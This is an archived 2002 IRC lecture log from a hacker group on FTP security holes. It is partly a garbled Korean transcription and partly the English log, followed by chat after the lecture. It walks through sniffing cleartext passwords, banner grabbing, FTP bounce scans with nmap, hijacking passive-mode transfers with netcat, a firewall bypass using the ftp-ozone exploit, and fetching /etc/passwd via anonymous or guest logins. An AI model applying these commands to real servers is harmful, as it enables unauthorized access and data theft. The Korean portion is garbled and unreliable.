

=====

FTP

IRC Lecture

Lecture Log

May 18th 2002

Write : By Vegas

: By Zenky(zenky77@hananet.net)

#ZENKY : Wowhacker.org Lecture
^^;;
..^^
FTP(File Transfer Protocol) 가
Web FTP
RFC FTP 1971 ARPANET internet
Protocol 가
FTP Protocol Data() command()
가 Channel , command()
network sock FTP Client FTP 21
"LIST" "RETR"
, FTP session() . Data
Client Server Data
"PORT" "PASV" Command()

^^ FTP :

```
machine$ ftp ftp.example.com
```

```
220 ftp.example.com FTP server ready.
```

```
Name (localhost:user) : ftpuser
```

```
331 Password required for ftpuser.
```

```
Password: *****
```

```
230 User ftpuser logged in.
```

```
Remote system type is UNIX.
```

```
Using binary mode to transfer files.
```

```
ftp>
```

```
active mode Unix ( Linux
```

```
passive mode ).
```

```
active mode :
```

```
ftp> ls
```

```
- - -> PORT 140,10,64,96,6,156
```

```
200 PORT command successful.
```

```
- - -> LIST
```

```
150 Opening ASCII mode data connection for /bin/ls.
```

```
total 100
```

```
drwx - - - - - 2 ftpuser users 4096 Jan 25 2002 Mail
```

```
drwx - - - - - 2 ftpuser users 4096 Jan 23 2002 bin
```

```
- rw - - - - - 1 ftpuser users 33392 Feb 4 10:14 2002 prog.tgz
```

```
- rw - - - - - 1 ftpuser users 40184 Feb 5 01:20 tool.tgz
```

```
drwx - - - - - 2 ftpuser users 4096 Jan 26 01:35 tmp
```

```
226 Transfer complete.
```

```
ftp> get prog.tgz
```

```
- - -> PORT 140,10,64,96,16,29
```

```
200 PORT command successful.
```

```
- - -> RETR prog.tgz
```

```
150 Opening BINARY mode data connection for prog.tgz (33392 bytes).
```

```
226 Transfer complete.
```

33392 bytes received in 0.097 secs (3.4e+02 Kbytes/sec)

ftp>

가 "ls" FTP client server IP
Port data .
client "PORT" :
PORT A,B,C,D,X,Y
A,B,C,D IP X,Y . octet(* 8bit
^;)
Server가 port .(X*256+Y)
, 140.10.64.96 FTP client() IP
. 1692 Port .(6*256+156)
1 Bit Protocol exploit . :)
File Transfer Protocol Exploit()

1- Clear passwords on the network

Password

id Password .

2- FTP banners

가 FTP ATTACK 가
. FTP FTP Version

^^ 가 .. :)

machine\$ nc ftp.example.com 21

220 tux.dmz.example.com FTP server (Version wu - 2.6.0(1) Sat May 18

0:25:34 EST 2002) ready.

Telnet FTP 21

(For Windows Users)

wu - ftpd 2.6.0(1)가 FTP

(Server)

Real Name tux.dmz.example.com

가 Linux

가 (tux Linux) DMZ

3- Port scanning through a distant FTP server

"PORT" FTP client Server IP Port data

. , FTP client IP Port 가 ,

Machine

"FTP bounce"

(anonymous) , Scan

Machine FTP Server IP .

가 ACL host Scanning 가 ,

FTP

target 가 .

host FTP bounce Scan nmap

:

```
machine$ nmap -b user:password@ftp.example.com:21 target
```

(anonymous) . FTP bounce FTP
Access()

FTP Hacking .
가 . Hobbit Nick

securityfocus . 가

: <http://www.securityfocus.com/archive/1/3488>

4- Steal datas with a passive ftp connection

FTP client가 "PASV" "PORT"
"List", "RETR", "STOR"... connection

:

```
# 가 "LIST" FTP .  
ftp> ls  
200 Entering Passive Mode (127,0,0,1,160,34)  
150 Opening ASCII mode data connection for /bin/ls.  
...  
226 Transfer complete.  
ftp>
```

가 "PASV" "LIST" .connect
40994(160*256+34)Port FTP file list

```
hackerbox$ nc ftp.example.com 40994
```

```

total 100
drwx - - - - - 2 ftpuser users 4096 Jan 25 2002 Mail
drwx - - - - - 2 ftpuser users 4096 Jan 23 2002 bin
- rw - - - - - 1 ftpuser users 33392 Feb 4 10:14 2002 prog.tgz
- rw - - - - - 1 ftpuser users 40184 Feb 5 01:20 tool.tgz
drwx - - - - - 2 ftpuser users 4096 Jan 26 01:35 tmp

```

```

hackerbox$
Port가 FTP , FTP
, 40993
"PASV" , Login
, FTP 가 +1
. Hacker가 Before , port
, Port
FTP Access .

```

5- Steal datas with an active ftp connection

```

FTP passive ftp .( ,
가 , client가 .)
passive attack session ,
server connection Client sniff
.
가 sniff name(id)
password가 Access .
PortScan client FTP port .

```

6- How to access to a protected port on a FTP server through the firewall

```

FTP FIREWALL .

```

FTP . 가
 .. , FTP PASV 가 Firewall
 Open , data가 Firewall Close .
 DunSong Exploit .
<http://www.monkey.org/~dugsong/ftp - ozone.c>
 firewall exploit . Firewall FTP
 79 Port . 79 Port Web
 가

```
hackerbox$ ftp - ozone ftp.example.com 79
```

```
root
```

```
Login: root Name: Superuser
```

```
Directory: /root Shell: /bin/bash
```

```
On since Sat May 18 0:50 (PST) on tty2
```

```
7 hours 18 minutes idle
```

```
No mail.
```

```
No Plan.
```

```
hackerbox$
```

```
"PASV 227 (10,10,10,10,0,79)" Ftp - ozone 123  

  "." The FTP server ".... (x123)....227 (10,10,10,10,0,79)"  

  : command not understood  

  Ftp - ozone 123 "." 123 point  

  "227 (10,10,10,10,0,79)"  

  : command not understood
```

<http://www.monkey.org/~dugsong/ftpd - ozone.c>

Exploit

7- Anonymous ftp

ftp Exploit (anonymous)

FTP Test :

```
ftp -n ( ^^^)
```

```
ftp>
```

```
ftp>open www.example.com
```

```
220 tux.dmz.example.com FTP server (Version wu - 2.6.0(1)
```

```
Sat May 18 0:25:34 EST 2002) ready.
```

```
QUOTE user ftp (or anonymous)
```

```
QUOTE cwd ~root
```

```
Please login with user and pass before
```

```
QUOTE pass ftp (or anonymous)
```

```
You 're logged in :
```

```
ftp>
```

UDP가 :

```
telnet www.example.com
```

```
Sun OS 5.3 last Realise
```

```
Login:guest
```

```
Password: guest
```

WELCOME ON BLA BLA BLA .You re logged as guest

Last login at 14H29 Saturday 18

\$ftp www.example.com

\$ftp>GET /etc/passwd /tmp/system.hacked

\$ftp>quit

21 Port가

가

<http://www.securityfocus.com>

Exploit

FTP

.. ^ ^ *

#####

Lecture Log

May 18th 2002

By Vegas

#####

<Vegas> ___ Security holes in the File Transfer Protocol (FTP)___

<Vegas>

<Vegas> FTP or File Transfer Protocol is today one of the most used protocol on the internet.

<Vegas> We were using FTP to send and receive datas a long time before the web.

<Vegas> The first RFC on FTP has been made in 1971 when internet was still called ARPANET.

<Vegas> But this protocol had and still have some security defects.

<Vegas> The FTP protocol use 2 differents channels for the datas and the commands.

<Vegas> The command channel is made by a network sock that connect your FTP client to the port 21 of the FTP server.

<Vegas> Commands like "LIST" and "RETR" use this channel that remain active during all the FTP session.

<Vegas> The data channel connection is established every time the client and the server needs to exchange datas.

<Vegas> The connection is created dynamically with the commands "PORT" or "PASV".

<Vegas> Now here is an example of a ftp connection using an unix client.

<Vegas>

<Vegas> machine\$ ftp ftp.example.com

<Vegas> 220 ftp.example.com FTP server ready.

<Vegas> Name (localhost;user) : ftpuser

<Vegas> 331 Password required for ftpuser.

<Vegas> Password: *****

<Vegas> 230 User ftpuser logged in.

<Vegas> Remote system type is UNIX.

<Vegas> Using binary mode to transfer files.

<Vegas> ftp>

<Vegas>

<Vegas> The active mode is the default mode for almost all FTP clients on UNIX (new linux distributions starts using the passive mode).

<Vegas> Here is an example of an active FTP connection :

<Vegas>

<Vegas> ftp> ls

<Vegas> ----> PORT 140,10,64,96,6,156

<Vegas> 200 PORT command successful.

<Vegas> ----> LIST

<Vegas> 150 Opening ASCII mode data connection for /bin/ls.

<Vegas> total 100

<Vegas> drwx----- 2 ftpuser users 4096 Jan 25 2002 Mail

<Vegas> drwx----- 2 ftpuser users 4096 Jan 23 2002 bin

<Vegas> -rw----- 1 ftpuser users 33392 Feb 4 10:14 2002 prog.tgz

<Vegas> -rw----- 1 ftpuser users 40184 Feb 5 01:20 tool.tgz

<Vegas> drwx----- 2 ftpuser users 4096 Jan 26 01:35 tmp

<Vegas> 226 Transfer complete.

<Vegas> ftp> get prog.tgz

<Vegas> ----> PORT 140,10,64,96,16,29

<Vegas> 200 PORT command successful.

<Vegas> ----> RETR prog.tgz

<Vegas> 150 Opening BINARY mode data connection for prog.tgz (33392 bytes).

<Vegas> 226 Transfer complete.

<Vegas> 33392 bytes received in 0.097 secs (3.4e+02 Kbytes/sec)

<Vegas> ftp>

<Vegas>

<Vegas> When the user type "ls", the FTP client sends to the server informations about the IP

and the port it will connect to send data.

<Vegas> For that the client is using the command "PORT" like this :

<Vegas>

<Vegas> PORT A,B,C,D,X,Y

<Vegas>

<Vegas> A,B,C,D correspond to the client IP and X,Y are the octets used to calculate the port the server will use ($X*256+Y$).

<Vegas> For this example, 140.10.64.96 will be the IP of the FTP client (me) and 1692 will be the port ($6*256+156$).

<Vegas> I had to tell you a bit about the protocol so that you will better understand how the following exploits works.

<Vegas> :)

<Vegas> Now this are different ways you can use to exploit the File Transfer Protocol.

<Vegas>

<Vegas> 1- Clear passwords on the network

<Vegas>

<Vegas> The passwords sent and received are not encrypted so a simple sniff can permit you to have user names passwords.

<Vegas>

<Vegas> 2- FTP banners

<Vegas>

<Vegas> That vulnerability is much used by hackers to start their attacks.

<Vegas> When you try to connect to a FTP server you will receive a banner that will inform you on what software version is running on the FTP server.

<Vegas> Here is an example :

<Vegas>

<Vegas> machine\$ nc ftp.example.com 21

<Vegas> 220 tux.dmz.example.com FTP server (Version wu-2.6.0(1)

<Vegas> Sat May 18 0:25:34 EST 2002) ready.

<Vegas>

<Vegas> You will receive the same infos by telneting a ftp server on the port 21 (for windows users)

<Vegas> Now we know that the FTP server is running wu-ftpd 2.6.0(1).

<Vegas> We know the day and the hour (that can help to situate the server).

<Vegas> We also know that the real name of the server is tux.dmz.example.com and you may guess that the server is running a linux

<Vegas> (tux is the name of the linux penguin) and is behind a firewall in the DMZ.

<Vegas>

<Vegas> 3- Port scanning through a distant FTP server

<Vegas>

<Vegas> The command "PORT" sent by a FTP client indicate to the server the IP and the port to which it will have to connect to send his datas.

<Vegas> Normally, this is the port and the IP of the FTP client but you can use it to scan a distant machine.

<Vegas> This is called the "FTP bounce".

<Vegas> It is used mostly to stay anonymous to scan a distant server, the logs of the scanned machine will show the FTP server's IP.

<Vegas> It also can be used if the target automatically stop hosts scanning their ports with ACLs

for example.

<Vegas> The hacker will use different FTP servers to scan all the target and will get the infos he wants.

<Vegas> You can scan a host by using the FTP bounce with nmap :

<Vegas>

<Vegas> machine\$ nmap -b user:password@ftp.example.com:21 target

<Vegas>

<Vegas> Thats a bit longer than a normal portscan but here you will be anonymous.

<Vegas> The FTP bounce can also be use to steal datas from another FTP Server.

<Vegas> A hacker won't have access to that server but the hacked FTP server will.

<Vegas> I won't explain much about that type of attack coz a guy named Hobbit has already explain it in a post on securityfocus.

<Vegas> I wouldn't like to paste it all here so i'll just give you the link :

<http://www.securityfocus.com/archive/1/3488>

<Vegas>

<Vegas> 4- Steal datas with a passive ftp connection

<Vegas>

<Vegas> Between the moment the FTP client send a command "PASV" or "PORT" and when it send a command to receive datas like "LIST", "RETR", "STOR" ...

<Vegas> theres a time where a hacker can connect and steal sent datas or send datas.

<Vegas> How does it work :

<Vegas>

<Vegas> # A user execute a "LIST" comand on the FTP server

<Vegas> ftp> ls

<Vegas> 200 Entering Passive Mode (127,0,0,1,160,34)

<Vegas> 150 Opening ASCII mode data connection for /bin/ls.

<Vegas> ...

<Vegas> 226 Transfer complete.

<Vegas> ftp>

<Vegas>

<Vegas> # Here the hacker enter "PASV" and "LIST" commands, connect to the port 40994 (160*256+34) and receive the list of files in the FTP server without authentication.

<Vegas> hackerbox\$ nc ftp.example.com 40994

<Vegas> total 100

<Vegas> drwx----- 2 ftpuser users 4096 Jan 25 2002 Mail

<Vegas> drwx----- 2 ftpuser users 4096 Jan 23 2002 bin

<Vegas> -rw----- 1 ftpuser users 33392 Feb 4 10:14 2002 prog.tgz

<Vegas> -rw----- 1 ftpuser users 40184 Feb 5 01:20 tool.tgz

<Vegas> drwx----- 2 ftpuser users 4096 Jan 26 01:35 tmp

<Vegas> hackerbox\$

<Vegas>

<Vegas> To know what port the FTP server will use, the hacker will earlier try to connect to the FTP server and will receive thanks to the "PASV" command the port number 40993.

<Vegas> As you can see, this is the port just before the port used by the logged user.

<Vegas> Indeed, the FTP server increment the port number by adding +1 to the last used port.

<Vegas> If the hacker connect just before the user, he will receive the last port number used and will easiely guess what port will be use by the user.

<Vegas> You will then have access to the FTP server without authenification.

<Vegas>

<Vegas> 5- Steal datas with an active ftp connection

<Vegas>

<Vegas> An active FTP connection can be hacked by using the same attack as with a passive FTP.

<Vegas> Only one think will change, you'll have to attack the client instead of the server.

<Vegas> A hacker generally prefer using the passive attack to steal a session coz he will have to sniff the server to find client connections.

<Vegas> If he's able to sniff the server, he will also have access to the datas sent including the user name and the password that arn't encrypted as i said before.

<Vegas> He will also have to portscan the client to see the port he is using to connect to the FTP server.

<Vegas>

<Vegas> 6- How to access to a protected port on a FTP server through the firewall

<Vegas>

<Vegas> Most of the time, FTP servers are situated behind a firewall and you can only have an access to the FTP even if other services are running on the server.

<Vegas> Normally, a firewall will open the port needed by the FTP server with the command PASV to transfer the datas and will close it when datas have been sent.

<Vegas> But most of the firewalls will open this port even if the connection isn't correct.

<Vegas> We will take as example the exploit of Dug Song (<http://www.monkey.org/~dugsong/ftp-ozone.c>).

<Vegas> We will use it to exploit a firewall and will try to connect to the port 79 of the FTP server behind this firewall.

<Vegas> The port 79 is normally not accessible by the web.

<Vegas>

<Vegas> hackerbox\$ ftp -ozone ftp.example.com 79

<Vegas> root

<Vegas> Login: root Name: Superuser

<Vegas> Directory: /root Shell: /bin/bash

<Vegas> On since Sat May 18 0:50 (PST) on tty2

<Vegas> 7 hours 18 minutes idle

<Vegas> No mail.

<Vegas> No Plan.

<Vegas> hackerbox\$

<Vegas>

<Vegas> Here Ftp-ozone will write 123 "." followed by the command "PASV 227 (10,10,10,10,0,79)".

<Vegas> The FTP server will answer with "...(x123)...227 (10,10,10,10,0,79)": command not understood".

<Vegas> Ftp-ozone use exactly 123 "." coz a packet will contain this 123 points and the other will contain the command "227 (10,10,10,10,0,79)": command not understood

<Vegas> The firewall seeing the 2nd packet will take it as a valid PASV command and will allow the user to connect to the port 79 of the FTP server.

<Vegas> Also have a look at <http://www.monkey.org/~dugsong/ftpd-ozone.c> to exploit an active connection on the FTP client.

<Vegas>

<Vegas> 7 - Anonymous ftp

<Vegas>

<Vegas> I think this is the most known exploit on ftp.

<Vegas> Thats what you will have to do to test if the FTP server allows anonymous logon :

<Vegas>

<Vegas> ftp -n (for Windows users on execute from the start menu)

<Vegas> ftp>

<Vegas> ftp>open www.example.com

<Vegas> 220 tux.dmz.example.com FTP server (Version wu-2.6.0(1)

<Vegas> Sat May 18 0:25:34 EST 2002) ready.

<Vegas> QUOTE user ftp (or anonymous)

<Vegas> QUOTE cwd ~root

<Vegas> Please login with user and pass before

<Vegas> QUOTE pass ftp (or anonymous)

<Vegas> You 're logged in :

<Vegas> ftp>

<Vegas>

<Vegas> You can also do that if the UDP port is open :

<Vegas>

<Vegas> telnet www.example.com

<Vegas> Sun OS 5.3 last Realise

<Vegas> Login:guest

<Vegas> Password: guest

<Vegas> WELCOME ON BLA BLA BLA .You re logged as guest

<Vegas> Last login at 14H29 Saturday 18

<Vegas> \$ftpp www.example.com

<Vegas> \$ftpp>GET /etc/passwd /tmp/system.hacked

<Vegas> \$ftpp>quit

<Vegas>

<Vegas> Now im sure you know what to do...

<Vegas> I think you've got some stuff to try now when you will see the port 21 open on a server.

<Vegas> I hope the lecture will be helpfull.

<Vegas> For any additionnal infos, have a look on <http://www.securityfocus.com> to find exploits on the FTP service that is running on the server.

#####

#Post lecture rambling

#####

*** Vegas sets mode: -m

<dksk8> brav0!!!

<Strider> nice one vegas

<dksk8> what a gr9 lecture

<dksk8> gr8

<Vegas> ty

<dksk8> can i ask 1 question

<Vegas> that was mostly for newbies this time :)

<dksk8> i had in the back of my mind

<Vegas> sure go on

<bobybobus> cool

<dksk8> ok question: For this example, 140.10.64.96 will be the IP of the FTP client (me) and

1692 will be the port ($6*256+156$). >> where in the hell did you get 156

<Strider> can someone send me the logs?

<StartX> u can get it from the site

<Vegas> mh let me find it on my logs

<Strider> which my tut is still the best on ;)

<Vegas> ftp> ls

<Vegas> - - -> PORT 140,10,64,96,6,156

<Vegas> 200 PORT command successful.

<Vegas> - - -> LIST

<Vegas> here

<Vegas> 140,10,64,96 is the ip

<dksk8> ohhh

<luCky_s3vN> what is ur site starx

<Vegas> and 6,156 is for the port number

<dksk8> i see

<StartX> www.advknowledge.net

<Vegas> *256 if u know binary a bit

<dksk8> is it gonna be on the site?

<dksk8> this lecture?

<Strider> ya

<StartX> yep in about 10 mins

* dksk8 could change it to html

<dksk8> if you would like

<dksk8> dunno if you do that

<StartX> well all the others are txt so its best to just leave them like that

<StartX> thanks for offering though

<dksk8> how many are there

<dksk8> ?

<dksk8> lectures like this

<dksk8> ?

<Strider> about 5 i tink

<dksk8> hmm

<StartX> 6

<Vegas> have a look

<StartX> this is the 7th

<dksk8> i could convert em all

<StartX> <http://www.advknowledge.net/archive/index.php>

<Strider> i was close

<dksk8> i just wanna be helpful

<dksk8> if i can